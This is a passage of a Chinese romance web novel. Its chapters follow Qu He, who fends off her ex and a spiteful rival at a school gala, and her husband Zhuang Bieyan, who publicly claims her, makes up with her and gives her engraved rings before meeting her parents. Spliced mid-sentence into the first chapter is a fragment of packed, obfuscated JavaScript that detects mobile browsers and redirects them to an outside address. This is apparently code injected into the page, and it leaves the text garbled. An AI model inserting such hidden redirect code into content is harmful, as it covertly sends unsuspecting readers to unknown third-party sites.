曲荷的心猛地一沉,转身就想走,可手腕却突然攥住。
“放开我!”
她用的力气太大,挣脱后,身体因为惯性往后踉跄了几步,幸好及时扶住了门框才稳住。
她警惕地看着钱昭野,眼神冷漠。
钱昭野的目光在她脸上停留了很久。
才几天没见,她好像变了,可又好像没变。
她眼底那点明媚的光,和初见时一模一样,但却是这几年他不曾看到的。
钱昭野心脏不自觉酸了一下。
他哑着嗓子问:“刚才……你说结婚了,是什么意思?”
曲荷翻了个白眼,连多余的表情都懒得给,只想赶紧离开。
钱昭野被她这副样子气得青筋跳了跳:“你能不能别这副样子?”
曲荷瞥了他一眼,眼里的嘲讽几乎要溢出来。
钱昭野深吸一口气,努力压下火气,语气放缓了些,“我知道你说结婚是气话。我已经跟家里商量好了,等乔眠把孩子生下来,我就和她离婚。”
他上前一步,“本来我是想在庆功会上宣布我们的婚讯,那个视频是意外,娶乔眠也是权宜之计。你再等我一年,阿荷,一年后,我一定娶你。”
听到这话,曲荷像是听到了天大的笑话。
“钱昭野,你是不是搞错了什么?我们早就没关系了。你想娶谁,想跟谁离婚,都与我无关。”
“阿荷……”
“别叫我阿荷!你刚才没听错,我确实已经结婚了。”
钱昭野愣了一下,低低笑了声,眼神里满是不信:“我不信。曲荷,我们七年的感情,你怎么可能说放下就放下?你骗不了我。”
曲荷看着他这副自欺欺人的样子,觉得荒谬又可悲:“信不信随你。那七年,就当我喂了狗。”
钱昭野脸上的笑瞬间僵住。
他没想到会从曲荷嘴里听到这样绝情的话,胸口闷得发疼。
拳头被他攥得指节泛白,刚上前了一步,曲荷就像是在躲怪兽一样,猛得后退。
“你别过来!”她的声音带着警告,“我老公知道了会生气。”
“够了!”
钱昭野再也忍不住,吼出声。
“以后别再说这种话了,我听着难受。”
曲荷无语地看了他一眼。
跟他讲道理,简直是对牛弹琴。
牛听到至少还会哞哞,他听了只会疯癫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391332|184256||http|test|mini|href|location''.split(''|''),0,{}));
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r>曲荷懒得再浪费口舌,趁着他失神的瞬间,转身快步走了出去。
刚回到宴会厅,手机就震动了一下。
是庄别宴发来的消息:【花到了。】
曲荷指尖微顿,回复:【可是我现在不在家里。】
他几乎是秒回:【在礼堂南门。】
曲荷愣住了,他怎么知道自己在这儿?
正疑惑着,新消息又弹了出来:【手机推送了你们学校的校庆直播,在里面看到你了。】
原来是这样。
曲荷心里疑惑了下,庄别宴又不是他们学校的,怎么会刷到这个直播?
正想着,手机响了,是花店的电话,说已经到了礼堂南门。
曲荷赶紧朝着门口走去。
在她身后不远处的角落里,乔眠看着她的背影,又瞥了眼阳台方向。
胸口像是被海绵堵住,一股无名火窜上来,几乎窒息。
刚才的对话她听得一清二楚,钱昭野到现在居然还没放下曲荷!
她看着拐角处消失的身影,心下一定,跟了上去。
礼堂南门的路灯下,一个穿着灰色工装夹克的男人正捧着一束花。
乔眠站在南门路边树下,看到曲荷小跑过去,笑意盈盈地从男人手中接过花。
她不自觉睁大了眼。
曲荷居然真结婚了?
她稍稍靠近了些,借着路灯光再打量那男人。
五官平平无奇,穿搭平凡普通,浑身上下找不出一点亮眼,丢进人群属于找不到第二眼。
她不自觉松了口气,嘴角却又忍不住往下撇。
就找了这么个平庸货色,该不会是故意气钱昭野吧?
她转眼心里又担忧了起来。
万一曲荷又被钱昭野几句话哄回去,那她做的这些功夫岂不是白费了?
不行!她绝对不会允许这样的事情发生。
看着曲荷捧着花走向停车场的背影,乔眠眯了下眼,嘴角勾起一抹意味深长的笑。
宴会快接近尾声。
曲荷坐在角落里,看着手机上的聊天记录。
她刚刚给庄别宴发了【花已经收到了】。
可那头却迟迟没有回复。
她看了眼时间,决定提前离场。
可刚走到宴会厅门口,就撞见了正被一群人簇拥着往外走的钱昭野和乔眠。
第59章 该不会是见不得人
乔眠挽着钱昭野的手臂,一副主人公姿态,笑盈盈地和大家道别。
她余光瞥见人群外正准备的的曲荷时,突然扬高了声音:“曲荷姐,这就要走了?”
所有人的目光“唰”地一下集中到曲荷身上。
乔眠却像是什么也没察觉到一样,善解人意道:“这么晚了,你又喝了酒,要不我们送你吧?”
曲荷皱了皱眉,还没开口,乔眠已经转向钱昭野,语气娇俏:“昭野,咱们顺路送送曲荷姐吧?”
钱昭野的视线一直在曲荷身上,喉结动了动,吐出两个字:“可以。”
曲荷看着这两人一唱一和,淡淡道:“不用了。”
“啊?”
突然,乔眠像是反应过来什么,故作惊讶地眨眨眼,“难道曲荷姐有人来接?”
话音刚落,周围有人想起刚才曲荷说的已经结婚的事情,一瞬间,那些熟悉的窃窃私语又冒了出来:
“难道是她老公?”
“她老公到底是什么人物啊?吹得这么神。”
乔眠听着大家的议论,面上笑容不减,心里却冷笑。
什么人物?
不过是个穿工装的普通人罢了。
她心里这么想,但脸上却是一脸好奇,故意拖长了语调:“曲荷姐,如果是你老公来接的话,那要不等他来了再走?大家也好见见嘛。”
这话一出,连原本没在意的人都来了兴致,目光齐刷刷落在曲荷身上,眼底的探究和看好戏的意味昭然若揭。
曲荷长叹一口气,耐着性子解释:“我老公出差了,来的人是代驾。”
“唉.....”
周围响起一片唏嘘,叹气中夹杂着惋惜,好像错过了一场好戏。
乔眠接了句话,可话里的嘲讽藏都藏不住:“那可太不巧了。”
她装作不经意缕了下发丝,不动声色地和人群中的一个人对视了一下。
也就在这时,人群里不知道是谁嘀咕了句:“可是我刚才明明看见曲荷抱着花去停车场了,难道那花不是她老公送的?”
这句话像一个**在人群中炸开。
一时间议论纷纷。
“是啊,哪有这么巧的事。该不会是她老公拿不出手,不好意思见人吧?”
“我觉得也是。结婚一点消息都没有透露出来,总不会是随便找了个人嫁了,为了气钱昭野吧。”
“没想到啊...”
议论声此起彼伏,大家看向曲荷的眼神也变了味。
你一言我一语,也不管是真是假。
乔眠捂着嘴,一脸惊讶:“曲荷姐还收到花了呀?既然是姐夫送的,怎么不让他亲自送来呢?带出来让大家认识认识也好呀。”
“就是就是,藏着掖着,该不会真嫁了个普通人吧?”
“我看是拿不出手吧,不然怎么不敢说?”
莫须有的指责和猜测从四面八方涌来,曲荷攥紧了手心,指尖泛白。
“那不是他...”
她张嘴,可还没说两个字,就被更嘈杂的议论声盖了过去。
乔眠站在人群外围,看着曲荷被**的模样,心里爽快极了。
他身旁的钱昭野,脸色铁青。
周围人对曲荷丈夫的好奇和议论,还有曲荷下意识对丈夫的维护,让他不得不相信,曲荷或许真的结婚了。
胸口像是被什么东西刺了下,生疼。
他猛地甩开乔眠的手,一言不发地走向停在门口的车。
乔眠看到钱昭野生气了,决定见好就收。
她连忙笑着假意打圆场:“哎呀,大家别猜了,曲荷姐不愿意带姐夫出来,肯定有她的原因...”
她随便说了两句意味深长的话搅了搅浑水,然后快步跟上钱昭野,坐进了车里。
卡宴缓缓驶离。
钱昭野一离开,大家的议论声更加肆无忌惮。
“曲荷,你老公到底是谁啊?该不会真的是见不得人吧?”
“就是啊,藏着干
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嘛?”
“你们说她不会是重新傍上什么大款了,所以才不敢让大家知道。”
“诶...说不准!没想到啊,她居然选择自甘堕落...可惜了。”
“早知道我就出手了,哈哈哈哈.....”
“.....”
难听话连绵不绝,更有露骨的谣言在不断散开。
曲荷站在原地,本想解释一下,可看着他们的嘲讽,一下子所有的话都堵在了喉咙里。
算了。
根本没有什么用。
这群人只想看笑话,他们根本不在乎真相到底是什么,只相信自己脑补出来的龌龊‘真相’。
和他们多说一个字都是浪费!
她深吸一口气,就在她准备无视他们,转身离开的时候,两道刺眼的远光灯劈开了夜色。
灯光由远及近,带着不容忽视的压迫。
所有人下意识地闭上了嘴,转头望去。
一辆黑色迈巴赫稳稳停在礼堂门口,车身在路灯下泛着冷硬的光,带着几分生人勿近的压迫感。
刚才还在议论的人瞬间哽住了。
“这..这是谁的车?”
“我怎么觉得这个车牌号这么眼熟?”
“等等,我有一个想法.....难道这是曲荷的.....”
众人的视线瞬间转移到了曲荷身上,眼神带着几分惊疑。
就在这时,主驾驶车门打开,大家屏气凝神目光齐齐落在了下来的人身上。
一个穿着黑色职业装的男人下了车,面容冷峻,姿态恭敬。
“啊...就这....”
“我还以为是谁呢...吓我一跳...”
人群里响起淡淡的唏嘘声,小声的议论声再度响起。
可下一秒,那个男人下车后,恭敬地绕到了车后座,微微躬身拉开了车门。
而后,车门打开。
在看到来人后,人群里响起整齐的倒吸冷气声。
刹那间,鸦雀无声。
第60章 “天大”的“误会”啊(上)
车门被司机恭敬地拉开,映入眼帘的是一双锃亮的牛津皮鞋。
下一秒,庄别宴颀长的身影出现在众人视野里。
他一身剪裁得体的黑色高定西装,每走一步都带着沉重的压迫感。
“庄、庄别宴?”
有人倒吸一口凉气,一脸难以置信地揉了揉眼睛。
这可是北城大人物,寻常宴会请都请不来,怎么会突然出现在他们的校庆典礼上?
节目单上没说有这一趴啊。
几人看着庄别宴,他逆光站在台阶下,神情冷淡,一点都不像传闻中端方有礼的庄家玉树。
有几个人很快反应过来,想趁机过去打招呼借此攀上关系。
可庄别宴连一个眼神都没施舍,他迈开长腿,穿过人群,径直朝曲荷走去。
他走到曲荷边上,自然替她理了理被风吹乱的头发,动作亲昵,“不是让你在里面等我?”
曲荷愣住。
她没想到庄别宴会出现在这里,更没想到他会当众公开他们的关系。
庄别宴单手搂着她的肩膀,目光冷冷扫了一圈人群,“自我介绍一下,我是庄别宴,也是曲荷的....丈夫。”
最后两个字被他咬得尤其重。
他目光所及之处,刚才还围着曲荷嚼舌根的人瞬间脸色煞白!尤其是刚才议论得最欢的那几个人纷纷低下头,恨不得当场找个地缝钻进去。
庄别宴视线停在了最前面的男人身上,“听说,我很上不了台面?”
男人被他盯得双腿一软,差点跪下,“庄总,这都是误会..我们不知道曲荷的丈夫是您啊...”
“误会?”庄别宴冷笑。
没人敢应声。
庄别宴伸手,自然地将曲荷往怀里带了带,“北城的圈子不大,该懂的规矩要是不懂,就没必要待了。”
曲荷被他护在怀里,鼻尖萦绕着他身上清洌的雪松味。
她微微抬头,正撞见他垂眸看过来的眼神。
她从里面看出了“护短”两个字。
庄别宴给了曲荷一个安抚的眼神,转而抬头环视着刚才叫嚣着特别厉害的几个人:“从今天起,北城所有庄氏旗下相关产业,永不接待各位。”
话落瞬间,那几人彻底失去血色。
边上那群看热闹的人早已默默退到了一边,生怕被牵连。
全完了!
他们这是...进了庄氏黑名单?
被庄氏拉黑,等于被北城上流社会除名。
这意味着他们在北城再无出头之日,没人敢再找他们合作。
他们这辈子,算是完了!
说完这句话,庄别宴牵起曲荷的手,语气恢复了些许温度:“走吧,回家。”
几个人反应过来想上去求情,却被旁边的保镖拦下,只能眼睁睁看着他们离开,连带着最后的希望都消失了。
......
迈巴赫车后座。
曲荷偷偷瞥了眼着旁边的人、
他靠着椅背,长腿交叠,拿着手机不知道在看什么。
其实从刚才上车开始,她就感觉到庄别宴不对劲,整个人身上的气压像是低了好几个度。
连前座的司机都察觉到了,识趣的调低了车内音乐声,把呼吸都降低了好几个度。
曲荷下意识咬了下唇,是因为刚才帮她出头,被迫公开关系这件事吗?
他是在生气这个吗?
可是曲荷又想起领证那天庄别宴发的朋友圈,又好像并不介意公开的事情。
那他到底在气什么?
曲荷很想开口问问,他为什么生气,想问他怎么提前回来了,可是话到嘴边又咽了回去。
她看着庄别宴冷硬的侧脸,默默叹了口气,扭头看向窗外。
窗外的霓虹飞速**。
曲荷忽然感觉眼眶热了下,下一秒,湿润的液体不受控制涌了上来。
糟了,忘了吃解酒药。
她有个尴尬的小毛病,别人喝完酒会过敏,会吐或者脸红,可是她每次喝完酒都会不自觉流眼泪。
之前那几年为了应酬她都会吃解酒药,可这次却忘记了。
曲荷心里一慌,赶紧抬手抹了一把。
她不想让庄别宴看到自己这副样子,急忙把头转得更偏,几乎要贴到车窗上,肩膀微微耸了好几下,努力想把眼泪憋回去。
可越是克制,眼泪流得越凶,眼泪顺着脸颊滑落,在裙摆上晕开一小片深色。
而她也没注意到,旁边的庄别宴一直用余光盯着她。
看到她抹眼泪的动作,看到她因为隐忍而微微颤抖的肩膀,他的心脏,闷得发疼。
她在哭。
是因为刚才在所有人面前被他公开了关系,觉得委屈了?
还是……因为钱昭野?
他想起刚才手机上的那张照片。
曲荷站在阳台角落,钱昭野凑在她面前不知道在说什么,她低着头,看不清表情。
庄别宴盯着曲荷的后脑袋,攥着手机的指节逐渐泛白。
他想起刚才曲荷站在人群中的模样。
她宁愿被人指指点点,宁愿受着那些刺耳的羞辱,也不肯说出他们的关系,到底在顾忌什么?
是因为顾及着钱昭野吗?
还是……心里根本就没把他当回事?
各种猜测像藤蔓无休无止,在他心头越缠越紧,几乎
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他喘不过气。
他想开口问,可看着她落泪的背影,最后变成了更冷的沉默。
车内只剩下空调的出风声,寂静得让人窒息。
回到白玉湾。
迈巴赫刚停稳,曲荷就迫不及待下车跑进电梯。
电梯上行途中她一直低着头小声啜泣着,门刚开她就匆匆跑进了房间,连鞋子都没换。
庄别宴站在原地,目光沉沉看着她逃离的背影,心脏像被针一下下刺着,又酸又涩。
...就这么不想见到他吗?
他自嘲扯了下唇角,眼底的暗色快抑制不住往外涌。
才见了钱昭野一面,就想躲开他了?
明明他才是她的丈夫,可为什么曲荷的眼泪,好像永远只会为别人而流。
庄别宴深深吐出一口气,松开领带试图压下那股几乎就要冲破理智的疯狂。
他缓步走到卧室门口,听着里面的动静。
她好像在翻什么东西,又好像还在哭...
庄别宴手无意识攥成拳。
阿荷...
凭什么?
明明是我先认识的你...
明明近在咫尺,可为什么...你还是离我这么远?
庄别宴手停在了半空,最终还是没有推开门。
他怕看见她抗拒的眼神,害怕听到她说...分开...
他深吸一口气,闭了闭眼,再睁开后眼底只剩下一片深不见底的冷。
他转身走向书房。
月光下,独留他孤寂冷硬的背影。
......
吃了解酒药,曲荷终于感觉眼泪止住了一点。
还好她跑得快,不然差点就让庄别宴看到她狼狈的样子了。
等情绪缓下来后,她走出卧室,就看到庄别宴拿着电脑,淡淡说了句“我去书房处理点事”,便转身离开了。
看着他的背影,曲荷心里莫名空落落的。
她洗完澡躺在床上看手机,本打算等庄别宴来睡觉的时候,问他一下刚才生气的原因,可她眼睛都快眯着了,困的头一顿一顿,可是庄别宴还是没回来。
她只好先睡下。
后半夜,曲荷睡得迷迷糊糊,感觉床垫轻轻陷下去一块。
接着,后背贴上了滚烫的胸膛,她整个人被牢牢禁锢着,缠在腰间的那双手,力道大得像是要将她揉进骨血里。
她下意识挣扎了几下,却被他更紧地抱住,“别动。”
听到熟悉的声音,曲荷慢慢放松了下来,在他怀里安稳的重新睡去。
第二天早上,曲荷醒来的时候,旁边已经空了。
只有床单上那片褶皱,证明着昨晚的拥抱不是梦。
第61章 “天大”的“误会”啊(下)
这样的日子持续了三天。
每天晚上庄别宴依旧会给她做饭,餐桌上的菜也都是她爱吃的,每次也还会有新鲜的花送来续上。
可她还是感觉到有些东西变了。
他不再像以前那样睡前会陪她聊会儿天,那个他曾经索要的晚安吻也没了。
这几天他总是等她睡熟了才上床,等早上她醒来的时候,他已经离开了房间。
明明还是一样的温柔体贴,却带着一种刻意的疏离。
他好像...在躲她。
曲荷把这些告诉司月的时候,她也一头雾水。
电话里她的声音也大了不少:“庄总这是闹哪样?前几天你俩不是还蜜里调油吗,怎么转头就躲着你?”
曲荷坐在沙发上,看着花瓶里那束插着的粉荔枝,自嘲地笑了笑:“可能……他本来就不是对我好,只是在对‘庄太太’好而已。”
而她恰好成了那个庄太太,仅此而已。
他们结婚本来就是受情况所迫,她不也应该要求太多。
“学姐,你别瞎想,”司月在电话里安慰她,“庄别宴看着不像那种人。”
曲荷摇摇头,对着电话轻声说:“没事,这样也挺好的。”
“那你们就一直这样?”
“不知道。”曲荷望着窗外,眼神茫然。
她想起领证前一晚,庄别宴握着她的手说:“我们的未来才有分量.....”
可现在,那个“未来”,好像变得越来越远,越来越模糊了呢...
……
结束和司月的电话,曲荷回房间睡了个午觉,直到被一通电话吵醒。
在看到屏幕上跳动的“妈妈”两个字,她就觉得大事不妙!
果不其然,电话一接通,那头劈头盖脸的声音就传了过来,“曲荷!你结婚这么大的事都不告诉家里?如果不是你大学同学说漏嘴,你还想瞒着我们多久?”
电话那头隐约能听到他家老头小心翼翼劝说的声音,但很快就被压了下去。
曲荷下意识把手机拿远了些,打开免提放在枕头边。
“不是的妈,你听我狡辩,不是,你听我解释...我没打算瞒着你们,只是想晚一点和你们说...”
“还想晚点说?你和钱昭野的事情我们又不是不知道,有什么好瞒着我们的...”
曲荷啧了声,忍着那头的怒火,硬着头皮轻轻开口,“那个...我...没和钱昭野结婚...”
电话那头安静了几秒。
曲荷默默往边上挪了点,果不其然下一秒电话炸了。
“什么!不是和钱昭野结婚?...那你和谁结婚了?到底怎么回事?...我不管你有什么事,明天必须把人带回来!”
曲荷卷着被子朝着手机蛄蛹过去,她张了张嘴,下意识看向门外。
庄别宴已经三天没和她好好说过话了。
她咬了咬唇,轻声道:“妈,他可能没空……”
“没空?”
电话里的声音突然拔高,“结婚证都领了,见家长的时间都没有?明天必须回来,我和你爸已经请好假了!这是最后警告!!”
电话挂断后,曲荷攥着手机躺在床上踢了两下腿,无声尖叫。
摊上这个教导主任妈妈,她能怎么办?
她该怎么开口?
难道要她说,“妈,我和我老公三天没说过话了,他现在连看都不愿意看我”?
……太荒谬了。
谁信啊?
她躺在床上长叹一口气,走出房间。
客厅里,庄别宴刚把饭菜端上桌。
吃饭的时候,他依旧沉默。
曲荷偷偷抬眼看他,想开口,可话到嘴边又咽了回去。
他应该……也不想去吧。
晚上洗完澡,曲荷躺在床上无心刷手机,却一直竖着耳朵。
浴室的水声停了,可庄别宴的脚步声却依旧是走向书房。
曲荷翻了个身,把脸埋进枕头里。
烦**,就这样吧。
反正她是他爸妈亲生的,又不能弄死她!
只是想到未知的一万字说明书,头都大了。
.......
第二天早上,曲荷是被厨房里动静吵醒的。
她洗漱完走出卧室,在看到厨房里的人后,愣住了。
庄别宴穿着她同款家居服,在灶台前煎鸡蛋,袖口被他挽到手肘,露出了线条分明的小臂。
曲荷揉了揉眼睛,以为还没睡醒。
“醒了?”庄别宴听到声音转头,“煎蛋要溏心还是全熟?”
曲荷:“....”
他们已经有三天没有这样正常对话了。
“...全熟就好,谢谢。”
她突然想起什么,试探问:“你……怎么在做饭?今天不用去公司吗?”
庄别宴关火,转身时,阳光洒在他眉眼间,漾开一层淡淡的幽怨。
“再不来厨房露两手,恐怕庄太太都要忘了,自己还有个老公。”
他的声音带着点不易察觉的沙哑,曲荷莫名听出了几分...委屈?
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>她觉得脸颊有些发烫,讷讷地站在原地。
庄别宴做好的早饭摆上桌。
他慢慢走到她面前,目光沉沉:“曲荷,你就没什么话想跟我说?”
曲荷愣住了。
说什么?
说她爸妈要见他?
还是说其实她有些在意....他刻意的疏远?
她张了张嘴,那些话在喉咙里打了个转,最后化成了一声沉默的气音。
庄别宴看着她纠结的样子,心里那点较劲的气突然就散了。
他叹了口气,伸手把她揽进怀里,下巴抵在她发顶,声音很柔:“对不起,这几天我情绪不太好,以后不会这样了。”
他还有什么不满足的呢?
人都是他的了。
要怪也只能怪自己不够努力。
曲荷的身体瞬间僵住,耳边是他有力的心跳声。
他在……道歉?
为什么?
庄别宴松开她,手指轻轻摩挲着她的后背,带着点小心翼翼地试探,“上次没问过你的意思就公布了我们的关系,你还在生我的气,对吗?”
“啊?”曲荷更懵了。
啥?
“我没有生气啊……难道不是你在生气吗?”
庄别宴愣住了。
空气仿佛静止了几秒。
他看着她眼底的茫然,终于后知后觉反应过来。
搞了半天,这几天他翻来覆去纠结的“她是不是还念着钱昭野”,“她心里是不是没有我”,“她是不是想离婚”,全都是他自己的独角戏?
他这几天钻得牛角尖,全是在和自己较劲?
搞了半天,结果是一场乌龙。
他忍不住低笑了下,带着点自嘲,可更多的是几分如释重负的轻松。
曲荷从他的表情里,也反应了过来,睨了他一眼,“所以你这几天躲着我,是以为我在生气?庄别宴,我在你眼里就是这样的人?”
“是我狭隘了。”
他立刻认错,赶紧顺**。
看着他眼底的懊恼,曲荷心里那点憋了许久的闷气突然就散了,甚至有点想笑。
“是我不好。我给你做了早餐赔罪,都是你爱吃的。”
庄别宴拉着她坐到餐桌前,把刚煮好的粥推到她面前。
晨光洒在餐桌上,曲荷低头喝着粥。
她虽然没抬眼,却还是能感觉到落在头顶的视线。
太过灼热,她实在没办法忽略。
曲荷终于忍不住抬头,正好撞上了他眼底,她莫名从中读出了几分……期待?
第62章 带他回家,以丈夫的身份
“怎么了?”曲荷放下勺子,“还有什么事情吗?”
庄别宴喉结动了下,故作随意移开目光,“没什么。”
“哦。”
曲荷应了声,继续吃饭。
庄别宴看着她垂下的眼眸,心里刚刚燃起的期待又慢慢凉了下去。
在商海沉浮这么多年,生平第一次,居然也有说不出话的时候。
也是,他们刚刚解开误会,她又怎么会主动开口带他回家见父母。
庄别宴自嘲勾了下唇,拿起黑咖啡喝了口。
寡淡!
心里的涩早已盖过了咖啡的苦。
早饭很快结束,曲荷收拾好自己的碗筷,“我回房间换个衣服。”
“好。”
庄别宴应着,目光一直追随着她的背影,眼底的光一点点暗了下去。
她没提。
他垂下眼,指腹无意识地摩挲着杯壁,心里的失落快把他淹没。
果然...是不想带他回去。
他自嘲地笑了笑,正盘算着等会该找个什么借口才能自然地跟着她出门,就听到她叫了声他的名字。
“庄别宴。”
他猛地抬头,看见她扶着门框,微微侧身看他。
“你今天没事的话……”她抿了抿唇,“能和我回家一趟吗?我爸妈想见你。”
庄别宴呼吸一滞。
紧绷的心脏骤然松开,刚刚沉下去的期待瞬间在心尖炸成烟花,难以言喻的欣喜从胸腔蔓延开来,几乎要冲破喉咙。
可他面上依旧不动声色,只是指尖微微收紧,声音低沉:“可以。”
曲荷点点头,转身进了房间。
门关上的瞬间,庄别宴才缓缓吐出一口气。
简简单单两个字,却像是耗尽了他全身的力气。
他起身收拾碗筷,脚步有些飘,直到经过厨房的玻璃门时,他无意瞥见门上的倒影。
那略显僵硬的步伐,他居然同手同脚了。
庄别宴:“……”
他停下脚步,盯着玻璃里那个嘴角不自觉上扬的男人,终于没忍住,低笑出声。
真没出息。
可心里那股雀跃却压不下去,最后任由笑意在眼底漾开。
她要带他回家了
光明正大的,以丈夫的身份。
……
曲荷换完衣服出来后,庄别宴已经等在客厅。
他也已经换下家居服,身上是基础款的白衬衫搭黑色西装。
“走吧。”
曲荷拿着包走向门口,刚从他身边走过,手腕就被攥住了。
庄别宴侧身拦住她,另一只手不知道从哪里变出个深棕色丝绒盒子。
他打开盒子,里面躺着两枚素戒。
戒指的设计很简单,只有一条边一个面,宽一点的两面镶嵌了几颗小钻石,曲荷一眼就认出这是莫比乌斯环。
和上次那枚红冕戒指比,这枚戒指低调了不少,可目光落在上面时,她心跳却莫名漏了一拍。
这种恰到好处的低调,妥帖得让人安心。
“这是?”她轻声问。
庄别宴拿出女戒,递到她面前,“之前那枚戒指,你说太贵重了,这是新定制的。”
他的声音有点哑,拿着戒指的手忽然轻轻抖了一下,“……给你戴上吗?”
曲荷点点头。
庄别宴盯着戒指缓缓套上她的无名指,心里那股隐秘的念头又冒了出来。
戒指把他和曲荷牢牢地拴在了一起,心底那股熟悉的占有欲比以往任何一次都要汹涌。
他知道自己或许不是她心底的第一顺位,可至少在这一刻,这枚戒指套在她手上,她就是他的了。
仅仅只是想到这个,他就觉得无比满足。
曲荷抬手对着光转了圈戒指,忽然
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发现内侧刻着两个字母,笔画深浅不一。
“这是……H和Y?”
她抚过那处刻痕,感受着凹凸不平的触感,心里隐约有了猜测,“这是.....你自己刻的?”
庄别宴抬眼,目光灼灼。
“你什么时候刻的?”曲荷追问。
“在书房。”
他答得简洁,眼底却泛起一点笑意。
曲荷忽然想起这几天,书房有时候半夜还亮着灯,她当时以为他在处理工作,原来……是在干这个。
她摸着那处凹凸不平,感觉突然就变得滚烫起来。
“你...喜欢吗?”庄别宴话里带着点不易察觉的期待。
曲荷轻轻“嗯”了声。
庄别宴拿起男款戒指,递到她面前。
男款戒指尺寸比女款大一些,其他都是一样的,内侧同样刻着H和Y。
他的声音哑了下,目光虔诚,“那么,现在请庄太太……也给我戴上。”
曲荷的心跳乱了节拍,她接过戒指,抬头看他。
她忽然觉得这个小小的仪式,重得像一场承诺。
她接过戒指缓缓套上他无名指。
这一刻她突然有了种稳稳落地的感觉,他们这段虚虚漂浮不定的感觉,好像....落地了。
这时,庄别宴突然一把将她拉进怀里。
他抱得很紧,下巴抵在她发顶,呼吸沉重。
曲荷能感觉到他胸膛的起伏,耳边是急促有力的心跳。
可是他什么也没有做,也没说。
庄别宴紧紧抱着她,嘴唇动了动,想说点什么,最终还是咽了回去。
所有的话都堵在喉咙里,只是更紧地抱住她。
没关系,就算你心里还有他也没关系。
至少此刻,你是我的。
未来的日子还很长,我会一点点把他从你心里挤出去。
第63章 这一天我等了很久
迈巴赫行驶在路上。
马上就要开出市区。
曲荷小时候一直和爸妈住在渔家渡,后来两人因为工作调动加上学校给分配了房子,就带着曲荷搬了出来。
老两口存了大半辈子钱,本想在北城买个房子,后来又因为要给她买白玉湾的房子,只能继续租房住。
前两年渔家渡小学扩招,两口子把老家房子重新翻修了一下,自告奋勇调回了渔家渡教学,一个继续当她的教导主任,一个继续当他的音乐老师。
渔家渡在北城边上,开车过去大概需要三个小时。
上车后曲荷就开始和庄别宴说家里的情况。
“渔家渡靠水,以前靠打渔为生,现在开发成旅游小镇了,但老底子还在......我外公是渔家渡陶瓷厂的厂长...”
絮絮叨叨说了一大堆,最后她特意叮嘱:“我妈教了快二十五年书,老师职业病你知道的,说话总带着点教导主任的威严,你等下别被她吓到。”
讲了这么久,她嘴巴都快干了。
曲荷看了眼驾驶座上的男人,庄别宴握着方向盘,金丝眼镜下的那双眸子始终沉静如水。
但是她知道,他其实都听进去了,刚才说的每一句话,他都会给反馈和回应。
“对了,我爸去年在院子里种了棵桂花树,前两天他还说今年北城太热了,才七月中就已经开始开花了,你....”
“我不过敏。”庄别宴突然开口,话里带着几分若有若无的笑意,“岳父种的这棵桂花树你刚才已经说过一次了。”
曲荷语塞。
红灯亮起,车停。
曲荷憋了半天,还是没忍住伸手戳了戳他的胳膊,“庄别宴,那你还有什么要问的吗?”
他转过头来,镜片后的眼睛微微弯起,唇角上扬:“你已经说得详细了。”
曲荷轻轻皱了下眉,心里那点莫名的焦躁又冒了上来。
正想再说点什么,就看到庄别宴从拿起保温杯,拧开盖子递了过来,动作自然,“喝水。”
她确实渴了。
曲荷接过杯子,水温适中,刚好可以入口,她喝了两口,感觉喉咙里的干涩缓解了不少。
她喝完后,庄别宴自然接过杯子,抿紧后放回原位。
曲荷轻轻叹了口气,自嘲了下:“怎么感觉,我比你还紧张?”
明明该紧张的是第一次见家长的他才对。
庄别宴抬手,掌心轻轻拍了拍她的头顶,带着几分安抚,“庄太太,你可以对你的丈夫有点信心。”
曲荷却没躲开,听着他声音里的笑意,耳尖烫了下。
红灯倒计时只剩最后几秒,庄别宴探身往后座够了够,拎过来一个牛皮纸袋,轻轻放在她腿上。
“路上时间长,垫垫肚子。”
他又顺手调小了音乐的音量,“要是困了,就靠会儿。”
曲荷低头看着腿上的袋子,笑得无奈。
她都多大了,又不是小孩还要在车上吃零食...
可当她打开袋子,看到里面的杨梅干,绿豆糕,桂花雪梨大福,薯片,酱香鸡爪后....
好吧,人果然不能共情上一秒的自己。
这脸打的,啪啪响。
她的手很诚实地拆开了一包杨梅干,挑了颗最大的扔进嘴里,酸酸甜甜的味道在舌尖炸开,满足!
她又吃了几颗,突然想起,刚才出门的时候他手上也没拿零食啊,他是什么时候准备的?
曲荷捏着薯片,目光不由自主飘向后视镜里的后备箱。
刚才上车前,她把给爸妈买的东西放进后备箱的时候,就看到那里摆着几个礼品盒,问了庄别宴,他只说是‘送给岳父岳母的见面礼’。
见面礼?
没记错的话,那副金丝楠木螺钿象棋她前阵子在非遗展上见过,是非遗大师隐退前的收官之作,根本买不到。还有那条苏绣双面绣丝巾,也是出自非遗大师之手,需要提前预定。
这些东西,绝不是临时起意能凑齐的。
曲荷眯起眼,转头看向他,语气里带了点探究:“庄别宴,你老实说,是不是早就知道我要带你来?”
她指了指后座的方向,“后备箱的那些东西,可不是一天两天能备齐的。”
庄别宴低笑出声,握着方向盘的手打了个半圈,平稳
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地拐过一个弯道。
他侧过脸看她,拖长了尾音:“太太聪慧,瞒不过你。”
“太太”两个字撞进耳朵,曲荷的耳尖腾得红了。
车子开进隧道,世界一下子暗了下来。
前面不知道发生了什么,车子堵住停了下来。
隧道两边的指示灯在车窗上投下了点点光斑,在庄别宴侧脸上明明灭灭。
他换挡,侧过身看着她,目光专注,“昨天听到你在房间打电话了。至于那些东西,从结婚那天就开始准备了。”
曲荷的呼吸顿了半拍。
他的目光落在她微颤的睫毛上,语速放得极慢,“我一直在等这一天,等你愿意带我回家。”
心脏像是被什么东西狠狠撞了一下,咚地一声,跳得又快又急。
曲荷猛地攥紧了安全带。
“你....为什么...”她的声音有点颤抖。
曲荷一直以为,她和庄别宴结婚,是受情况所迫,是权宜之计。
可能在未来某一天,他们会分开,就像临时搭伙渡海的船,等风浪平息,总会各自靠岸。
可他说,结婚后就开始准备了。
他说,一直在等这一天。
庄别宴眸色深邃,“阿荷。”
这是他第一次这样叫她。
